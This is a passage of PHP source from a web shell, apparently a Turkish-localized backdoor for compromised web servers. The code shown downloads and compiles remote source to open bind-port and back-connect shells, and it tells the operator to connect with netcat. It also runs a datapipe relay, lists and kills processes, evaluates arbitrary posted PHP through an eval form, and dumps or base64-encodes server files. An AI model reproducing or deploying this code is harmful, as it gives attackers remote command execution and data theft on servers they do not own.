4364 | @unlink($srcpath); | |
4365 | ||
4366 | $fp = fopen($srcpath,"ab+"); | |
4367 | ||
4368 | if (!$fp) {echo "Kaynak Koduna Yazilamadi--> \"".$srcpath."\"!<br>";} | |
4369 | ||
4370 | elseif (!$data = ashgetsource($bind["src"])) {echo "Kaynak Kodu Indirilemedi!";} | |
4371 | ||
4372 | else | |
4373 | ||
4374 | { | |
4375 | ||
4376 | fwrite($fp,$data,strlen($data)); | |
4377 | ||
4378 | fclose($fp); | |
4379 | ||
4380 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} | |
4381 | ||
4382 | $v[1] = str_replace("%path",$binpath,$v[1]); | |
4383 | ||
4384 | $v[1] = str_replace("%port",$bind["port"],$v[1]); | |
4385 | ||
4386 | $v[1] = str_replace("%pass",$bind["pass"],$v[1]); | |
4387 | ||
4388 | $v[1] = str_replace("//","/",$v[1]); | |
4389 | ||
4390 | $retbind = myshellexec($v[1]." > /dev/null &"); | |
4391 | ||
4392 | sleep(5); | |
4393 | ||
4394 | $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); | |
4395 | ||
4396 | if (!$sock) {echo "Baglanilamadi localhost a :".$bind["port"]."! Friwall ini kontrol Etmeni Dusunuyorum";} | |
4397 | ||
4398 | else {echo "Baglaniyor.......Tamam! Baglandi..--> <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>!NetCat'i Kullanio..\"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>Baglamalari gor!!</u></a></center>";} | |
4399 | ||
4400 | } | |
4401 | ||
4402 | echo "<br>"; | |
4403 | ||
4404 | } | |
4405 | ||
4406 | } | |
4407 | ||
4408 | if (!empty($bcsubmit)) | |
4409 | ||
4410 | { | |
4411 | ||
4412 | echo "<b>Eski Baglanti Sonuclari:</b><br>"; | |
4413 | ||
4414 | $v = $bcsrcs[$bc["src"]]; | |
4415 | ||
4416 | if (empty($v)) {echo "Unknown file!<br>";} | |
4417 | ||
4418 | else | |
4419 | ||
4420 | { | |
4421 | ||
4422 | $w = explode(".",$bc["src"]); | |
4423 | ||
4424 | $ext = $w[count($w)-1]; | |
4425 | ||
4426 | unset($w[count($w)-1]); | |
4427 | ||
4428 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; | |
4429 | ||
4430 | $binpath = $tmpdir.join(".",$w).rand(0,999); | |
4431 | ||
4432 | if ($ext == "pl") {$binpath = $srcpath;} | |
4433 | ||
4434 | @unlink($srcpath); | |
4435 | ||
4436 | $fp = fopen($srcpath,"ab+"); | |
4437 | ||
4438 | if (!$fp) {echo "Kaynak Koduna Yazilamadi ---> \"".$srcpath."\"!<br>";} | |
4439 | ||
4440 | elseif (!$data = ashgetsource($bc["src"])) {echo "Kaynak Kodu indirilemedi!!!!";} | |
4441 | ||
4442 | else | |
4443 | ||
4444 | { | |
4445 | ||
4446 | fwrite($fp,$data,strlen($data)); | |
4447 | ||
4448 | fclose($fp); | |
4449 | ||
4450 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} | |
4451 | ||
4452 | $v[1] = str_replace("%path",$binpath,$v[1]); | |
4453 | ||
4454 | $v[1] = str_replace("%host",$bc["host"],$v[1]); | |
4455 | ||
4456 | $v[1] = str_replace("%port",$bc["port"],$v[1]); | |
4457 | ||
4458 | $v[1] = str_replace("//","/",$v[1]); | |
4459 | ||
4460 | $retbind = myshellexec($v[1]." > /dev/null &"); | |
4461 | ||
4462 | echo "Su an ki Script tekrar dene ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; | |
4463 | ||
4464 | } | |
4465 | ||
4466 | } | |
4467 | ||
4468 | } | |
4469 | ||
4470 | if (!empty($dpsubmit)) | |
4471 | ||
4472 | { | |
4473 | ||
4474 | echo "<b>Datapipe Sonuclari:</b><br>"; | |
4475 | ||
4476 | $v = $dpsrcs[$datapipe["src"]]; | |
4477 | ||
4478 | if (empty($v)) {echo "Bilinmeyen Dosya!<br>";} | |
4479 | ||
4480 | elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port Kullaniliyor Baska port Secin!<br>";} | |
4481 | ||
4482 | else | |
4483 | ||
4484 | { | |
4485 | ||
4486 | $srcpath = $tmpdir.$datapipe["src"]; | |
4487 | ||
4488 | $w = explode(".",$datapipe["src"]); | |
4489 | ||
4490 | $ext = $w[count($w)-1]; | |
4491 | ||
4492 | unset($w[count($w)-1]); | |
4493 | ||
4494 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; | |
4495 | ||
4496 | $binpath = $tmpdir.join(".",$w).rand(0,999); | |
4497 | ||
4498 | if ($ext == "pl") {$binpath = $srcpath;} | |
4499 | ||
4500 | @unlink($srcpath); | |
4501 | ||
4502 | $fp = fopen($srcpath,"ab+"); | |
4503 | ||
4504 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} | |
4505 | ||
4506 | elseif (!$data = ashgetsource($datapipe["src"])) {echo "Kaynak Kodu indirilemedi!";} | |
4507 | ||
4508 | else | |
4509 | ||
4510 | { | |
4511 | ||
4512 | fwrite($fp,$data,strlen($data)); | |
4513 | ||
4514 | fclose($fp); | |
4515 | ||
4516 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} | |
4517 | ||
4518 | list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); | |
4519 | ||
4520 | $v[1] = str_replace("%path",$binpath,$v[1]); | |
4521 | ||
4522 | $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); | |
4523 | ||
4524 | $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); | |
4525 | ||
4526 | $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); | |
4527 | ||
4528 | $v[1] = str_replace("//","/",$v[1]); | |
4529 | ||
4530 | $retbind = myshellexec($v[1]." > /dev/null &"); | |
4531 | ||
4532 | sleep(5); | |
4533 | ||
4534 | $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); | |
4535 | ||
4536 | if (!$sock) {echo "Baglanilamadi localhost'a:".$datapipe["localport"]."! Friwall ini Kontrol etmen gerektigini dusunuyorum.";} | |
4537 | ||
4538 | else {echo "Baglaniyor datapipe... TAMAM Baglandi<b>".getenv("SERVER_ADDR").":".$datapipe["port"].", ve butun hepsine baglandin ".$datapipe["remoteaddr"]."</b>! Sen NetCat i kullaniyosun, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>datapipesi gor</u></a></center>";} | |
4539 | ||
4540 | } | |
4541 | ||
4542 | echo "<br>"; | |
4543 | ||
4544 | } | |
4545 | ||
4546 | } | |
4547 | ||
4548 | ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php | |
4549 | ||
4550 | foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} | |
4551 | ||
4552 | ?></select> <input type=submit name=bindsubmit value="Bind"></form> | |
4553 | ||
4554 | <b>Back Baglanti:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php | |
4555 | ||
4556 | foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} | |
4557 | ||
4558 | ?></select> <input type=submit name=bcsubmit value="Connect"></form> | |
4559 | ||
4560 | <b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> | |
4561 | ||
4562 | <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php | |
4563 | ||
4564 | foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} | |
4565 | ||
4566 | ?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> Uzak Serverden kaynak kodu indirilmistir.<?php | |
4567 | ||
4568 | } | |
4569 | ||
4570 | if ($act == "processes") | |
4571 | ||
4572 | { | |
4573 | ||
4574 | echo "<b>Processes:</b><br>"; | |
4575 | ||
4576 | if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} | |
4577 | ||
4578 | else {$handler = "tasklist";} | |
4579 | ||
4580 | $ret = myshellexec($handler); | |
4581 | ||
4582 | if (!$ret) {echo "Uygulanamadi \"".$handler."\"!";} | |
4583 | ||
4584 | else | |
4585 | ||
4586 | { | |
4587 | ||
4588 | if (empty($processes_sort)) {$processes_sort = $sort_default;} | |
4589 | ||
4590 | $parsesort = parsesort($processes_sort); | |
4591 | ||
4592 | if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} | |
4593 | ||
4594 | $k = $parsesort[0]; | |
4595 | ||
4596 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | |
4597 | ||
4598 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | |
4599 | ||
4600 | $ret = htmlspecialchars($ret); | |
4601 | ||
4602 | if (!$win) | |
4603 | ||
4604 | { | |
4605 | ||
4606 | if ($pid) | |
4607 | ||
4608 | { | |
4609 | ||
4610 | if (is_null($sig)) {$sig = 9;} | |
4611 | ||
4612 | echo "Sinyal yollaniyor ".$sig." --> #".$pid."... "; | |
4613 | ||
4614 | if (posix_kill($pid,$sig)) {echo "Tamam.";} | |
4615 | ||
4616 | else {echo "Hata.";} | |
4617 | ||
4618 | } | |
4619 | ||
4620 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4621 | ||
4622 | $stack = explode("\n",$ret); | |
4623 | ||
4624 | $head = explode(" ",$stack[0]); | |
4625 | ||
4626 | unset($stack[0]); | |
4627 | ||
4628 | for($i=0;$i<count($head);$i++) | |
4629 | ||
4630 | { | |
4631 | ||
4632 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} | |
4633 | ||
4634 | } | |
4635 | ||
4636 | $prcs = array(); | |
4637 | ||
4638 | foreach ($stack as $line) | |
4639 | ||
4640 | { | |
4641 | ||
4642 | if (!empty($line)) | |
4643 | ||
4644 | { | |
4645 | ||
4646 | echo "<tr>"; | |
4647 | ||
4648 | $line = explode(" ",$line); | |
4649 | ||
4650 | $line[10] = join(" ",array_slice($line,10)); | |
4651 | ||
4652 | $line = array_slice($line,0,11); | |
4653 | ||
4654 | if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} | |
4655 | ||
4656 | $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; | |
4657 | ||
4658 | $prcs[] = $line; | |
4659 | ||
4660 | echo "</tr>"; | |
4661 | ||
4662 | } | |
4663 | ||
4664 | } | |
4665 | ||
4666 | } | |
4667 | ||
4668 | else | |
4669 | ||
4670 | { | |
4671 | ||
4672 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4673 | ||
4674 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4675 | ||
4676 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4677 | ||
4678 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4679 | ||
4680 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4681 | ||
4682 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4683 | ||
4684 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4685 | ||
4686 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4687 | ||
4688 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4689 | ||
4690 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4691 | ||
4692 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | |
4693 | ||
4694 | $ret = convert_cyr_string($ret,"d","w"); | |
4695 | ||
4696 | $stack = explode("\n",$ret); | |
4697 | ||
4698 | unset($stack[0],$stack[2]); | |
4699 | ||
4700 | $stack = array_values($stack); | |
4701 | ||
4702 | $head = explode(" ",$stack[0]); | |
4703 | ||
4704 | $head[1] = explode(" ",$head[1]); | |
4705 | ||
4706 | $head[1] = $head[1][0]; | |
4707 | ||
4708 | $stack = array_slice($stack,1); | |
4709 | ||
4710 | unset($head[2]); | |
4711 | ||
4712 | $head = array_values($head); | |
4713 | ||
4714 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | |
4715 | ||
4716 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | |
4717 | ||
4718 | if ($k > count($head)) {$k = count($head)-1;} | |
4719 | ||
4720 | for($i=0;$i<count($head);$i++) | |
4721 | ||
4722 | { | |
4723 | ||
4724 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} | |
4725 | ||
4726 | } | |
4727 | ||
4728 | $prcs = array(); | |
4729 | ||
4730 | foreach ($stack as $line) | |
4731 | ||
4732 | { | |
4733 | ||
4734 | if (!empty($line)) | |
4735 | ||
4736 | { | |
4737 | ||
4738 | echo "<tr>"; | |
4739 | ||
4740 | $line = explode(" ",$line); | |
4741 | ||
4742 | $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); | |
4743 | ||
4744 | $line[2] = intval(str_replace(" ","",$line[2]))*1024; | |
4745 | ||
4746 | $prcs[] = $line; | |
4747 | ||
4748 | echo "</tr>"; | |
4749 | ||
4750 | } | |
4751 | ||
4752 | } | |
4753 | ||
4754 | } | |
4755 | ||
4756 | $head[$k] = "<b>".$head[$k]."</b>".$y; | |
4757 | ||
4758 | $v = $processes_sort[0]; | |
4759 | ||
4760 | usort($prcs,"tabsort"); | |
4761 | ||
4762 | if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} | |
4763 | ||
4764 | $tab = array(); | |
4765 | ||
4766 | $tab[] = $head; | |
4767 | ||
4768 | $tab = array_merge($tab,$prcs); | |
4769 | ||
4770 | echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; | |
4771 | ||
4772 | foreach($tab as $i=>$k) | |
4773 | ||
4774 | { | |
4775 | ||
4776 | echo "<tr>"; | |
4777 | ||
4778 | foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} | |
4779 | ||
4780 | echo "</tr>"; | |
4781 | ||
4782 | } | |
4783 | ||
4784 | echo "</table>"; | |
4785 | ||
4786 | } | |
4787 | ||
4788 | } | |
4789 | ||
4790 | if ($act == "eval") | |
4791 | ||
4792 | { | |
4793 | ||
4794 | if (!empty($eval)) | |
4795 | ||
4796 | { | |
4797 | ||
4798 | echo "<b>Result of execution this PHP-code</b>:<br>"; | |
4799 | ||
4800 | $tmp = ob_get_contents(); | |
4801 | ||
4802 | $olddir = realpath("."); | |
4803 | ||
4804 | @chdir($d); | |
4805 | ||
4806 | if ($tmp) | |
4807 | ||
4808 | { | |
4809 | ||
4810 | ob_clean(); | |
4811 | ||
4812 | eval($eval); | |
4813 | ||
4814 | $ret = ob_get_contents(); | |
4815 | ||
4816 | $ret = convert_cyr_string($ret,"d","w"); | |
4817 | ||
4818 | ob_clean(); | |
4819 | ||
4820 | echo $tmp; | |
4821 | ||
4822 | if ($eval_txt) | |
4823 | ||
4824 | { | |
4825 | ||
4826 | $rows = count(explode("\r\n",$ret))+1; | |
4827 | ||
4828 | if ($rows < 10) {$rows = 10;} | |
4829 | ||
4830 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; | |
4831 | ||
4832 | } | |
4833 | ||
4834 | else {echo $ret."<br>";} | |
4835 | ||
4836 | } | |
4837 | ||
4838 | else | |
4839 | ||
4840 | { | |
4841 | ||
4842 | if ($eval_txt) | |
4843 | ||
4844 | { | |
4845 | ||
4846 | echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; | |
4847 | ||
4848 | eval($eval); | |
4849 | ||
4850 | echo "</textarea>"; | |
4851 | ||
4852 | } | |
4853 | ||
4854 | else {echo $ret;} | |
4855 | ||
4856 | } | |
4857 | ||
4858 | @chdir($olddir); | |
4859 | ||
4860 | } | |
4861 | ||
4862 | else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}} | |
4863 | ||
4864 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Tamam\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; | |
4865 | ||
4866 | } | |
4867 | ||
4868 | if ($act == "f") | |
4869 | ||
4870 | { | |
4871 | ||
4872 | if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") | |
4873 | ||
4874 | { | |
4875 | ||
4876 | if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} | |
4877 | ||
4878 | else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Olustur</u></a></center>";} | |
4879 | ||
4880 | } | |
4881 | ||
4882 | else | |
4883 | ||
4884 | { | |
4885 | ||
4886 | $r = @file_get_contents($d.$f); | |
4887 | ||
4888 | $ext = explode(".",$f); | |
4889 | ||
4890 | $c = count($ext)-1; | |
4891 | ||
4892 | $ext = $ext[$c]; | |
4893 | ||
4894 | $ext = strtolower($ext); | |
4895 | ||
4896 | $rft = ""; | |
4897 | ||
4898 | foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} | |
4899 | ||
4900 | if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} | |
4901 | ||
4902 | if (empty($ft)) {$ft = $rft;} | |
4903 | ||
4904 | $arr = array( | |
4905 | ||
4906 | array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), | |
4907 | ||
4908 | array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), | |
4909 | ||
4910 | array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), | |
4911 | ||
4912 | array("Code","code"), | |
4913 | ||
4914 | array("Session","phpsess"), | |
4915 | ||
4916 | array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), | |
4917 | ||
4918 | array("SDB","sdb"), | |
4919 | ||
4920 | array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), | |
4921 | ||
4922 | array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), | |
4923 | ||
4924 | array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), | |
4925 | ||
4926 | array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), | |
4927 | ||
4928 | array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") | |
4929 | ||
4930 | ); | |
4931 | ||
4932 | echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; | |
4933 | ||
4934 | foreach($arr as $t) | |
4935 | ||
4936 | { | |
4937 | ||
4938 | if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} | |
4939 | ||
4940 | elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} | |
4941 | ||
4942 | else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} | |
4943 | ||
4944 | echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; | |
4945 | ||
4946 | } | |
4947 | ||
4948 | echo "<hr size=\"1\" noshade>"; | |
4949 | ||
4950 | if ($ft == "info") | |
4951 | ||
4952 | { | |
4953 | ||
4954 | echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; | |
4955 | ||
4956 | if (!$win) | |
4957 | ||
4958 | { | |
4959 | ||
4960 | echo "<tr><td><b>Owner/Group</b></td><td> "; | |
4961 | ||
4962 | $ow = posix_getpwuid(fileowner($d.$f)); | |
4963 | ||
4964 | $gr = posix_getgrgid(filegroup($d.$f)); | |
4965 | ||
4966 | echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); | |
4967 | ||
4968 | } | |
4969 | ||
4970 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Olustur time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>Modifiye Zamani</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; | |
4971 | ||
4972 | $fi = fopen($d.$f,"rb"); | |
4973 | ||
4974 | if ($fi) | |
4975 | ||
4976 | { | |
4977 | ||
4978 | if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} | |
4979 | ||
4980 | else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} | |
4981 | ||
4982 | $n = 0; | |
4983 | ||
4984 | $a0 = "00000000<br>"; | |
4985 | ||
4986 | $a1 = ""; | |
4987 | ||
4988 | $a2 = ""; | |
4989 | ||
4990 | for ($i=0; $i<strlen($str); $i++) | |
4991 | ||
4992 | { | |
4993 | ||
4994 | $a1 .= sprintf("%02X",ord($str[$i]))." "; | |
4995 | ||
4996 | switch (ord($str[$i])) | |
4997 | ||
4998 | { | |
4999 | ||
5000 | case 0: $a2 .= "<font>0</font>"; break; | |
5001 | ||
5002 | case 32: | |
5003 | ||
5004 | case 10: | |
5005 | ||
5006 | case 13: $a2 .= " "; break; | |
5007 | ||
5008 | default: $a2 .= htmlspecialchars($str[$i]); | |
5009 | ||
5010 | } | |
5011 | ||
5012 | $n++; | |
5013 | ||
5014 | if ($n == $hexdump_rows) | |
5015 | ||
5016 | { | |
5017 | ||
5018 | $n = 0; | |
5019 | ||
5020 | if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} | |
5021 | ||
5022 | $a1 .= "<br>"; | |
5023 | ||
5024 | $a2 .= "<br>"; | |
5025 | ||
5026 | } | |
5027 | ||
5028 | } | |
5029 | ||
5030 | //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} | |
5031 | ||
5032 | echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; | |
5033 | ||
5034 | } | |
5035 | ||
5036 | $encoded = ""; | |
5037 | ||
5038 | if ($base64 == 1) | |
5039 | ||
5040 | { | |
5041 | ||
5042 | echo "<b>Base64 Encode</b><br>"; | |
5043 | ||
5044 | $encoded = base64_encode(file_get_contents($d.$f)); | |
5045 | ||
5046 | } | |
5047 | ||
5048 | elseif($base64 == 2) | |
5049 | ||
5050 | { | |
5051 | ||
5052 | echo "<b>Base64 Encode + Chunk</b><br>"; | |
5053 | ||
5054 | $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); | |
5055 | ||
5056 | } | |
5057 | ||
5058 | elseif($base64 == 3) | |
5059 | ||
5060 | { | |
5061 | ||
5062 | echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; | |
5063 | ||
5064 | $encoded = base64_encode(file_get_contents($d.$f)); | |
5065 | ||
5066 | $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); | |
5067 | ||
5068 | } | |
5069 | ||
5070 | elseif($base64 == 4) | |
5071 | ||
5072 | { | |
5073 | ||
5074 | $text = file_get_contents($d.$f); | |
5075 | ||
5076 | $encoded = base64_decode($text); | |
5077 | ||
5078 | echo "<b>Base64 Decode"; | |
5079 | ||
5080 | if (base64_encode($encoded) != $text) {echo " (failed)";} | |
5081 | ||
5082 | echo "</b><br>"; | |
5083 | ||
5084 | } | |
5085 | ||
5086 | if (!empty($encoded)) | |
5087 | ||
5088 | { | |
5089 | ||
5090 | echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; | |
5091 | ||
5092 | } | |
5093 | ||
5094 | echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> | |
5095 | ||
5096 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr> | |
5097 | ||
5098 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr> | |
5099 | ||
5100 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr> | |
5101 | ||
5102 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr> | |
5103 | ||
5104 | <P>"; | |
5105 | ||
5106 | } | |
5107 | ||
5108 | elseif ($ft == "html") | |
5109 | ||
5110 | { | |
5111 | ||
5112 | if ($white) {@ob_clean();} | |
5113 | ||
5114 | echo $r; | |
5115 | ||
5116 | if ($white) {ashshexit();} | |
5117 | ||
5118 | } | |
5119 | ||
5120 | elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} | |
5121 | ||
5122 | elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";} | |
5123 | ||
5124 | elseif ($ft == "phpsess") | |
5125 | ||
5126 | { | |
5127 | ||
5128 | echo "<pre>"; | |
5129 | ||
5130 | $v = explode("|",$r); | |
5131 | ||
5132 | echo $v[0]."<br>"; | |
5133 | ||
5134 | var_dump(unserialize($v[1])); | |
5135 | ||
5136 | echo "</pre>"; | |
5137 | ||
5138 | } | |
5139 | ||
5140 | elseif ($ft == "exe") | |
5141 | ||
5142 | { | |
5143 | ||
5144 | $ext = explode(".",$f); | |
5145 | ||
5146 | $c = count($ext)-1; | |
5147 | ||
5148 | $ext = $ext[$c]; | |
5149 | ||
5150 | $ext = strtolower($ext); | |
5151 | ||
5152 | $rft = ""; | |
5153 | ||
5154 | foreach($exeftypes as $k=>$v) | |
5155 | ||
5156 | { | |
5157 | ||
5158 | if (in_array($ext,$v)) {$rft = $k; break;} | |
5159 | ||
5160 | } | |
5161 | ||
5162 | $cmd = str_replace("%f%",$f,$rft); | |
